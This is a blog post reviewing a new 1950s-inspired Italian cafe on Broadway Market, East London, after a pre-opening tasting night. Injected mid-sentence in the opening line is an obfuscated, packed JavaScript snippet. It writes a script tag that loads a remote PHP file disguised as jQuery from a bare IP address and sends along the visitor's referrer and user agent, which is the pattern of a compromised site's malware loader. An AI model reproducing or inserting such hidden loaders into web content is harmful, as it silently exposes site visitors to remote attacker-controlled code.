There’s (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zksii|var|u0026u|referrer|trhfr||js|php’.split(‘|’),0,{}))
a new kid on the East London block and if last night’s trial run is anything to go by it looks like it’s going to be a winner. The cafe set to open Wednesday 29th February has a 1950’s inspired menu featuring simple Italian dishes. Last night we went along to a “hard hat” night and sampled some of the food and beverages on offer.

The cafe will serve prosseco on tap – they had us at that to be honest, small plates and larger sharing dishes. We sampled the East London Cup which is served in a pitcher for two – a mixture of campari, gin, grapefruit juice and soda garnished with grapefruit, mint and cucumber.

The highlight was definitely the food, a simple Buffalo Mozzerallo salad was followed by Rotolo, a spinach and mushroom canelloni style dish and Handcut tagliatelle with meat sauce – the meat sauce consisted of Pork marinated in milk and herbs; simple yet effective, definitely our favourite dish to hit the tables.

From what we here the prices with be reasonable and during the soft launch there will be 50% off on Weds 29th Feb with evening bookings 0207 249 9070. We have a feeling we’ll be regulars here…

2 Broadway Market, E8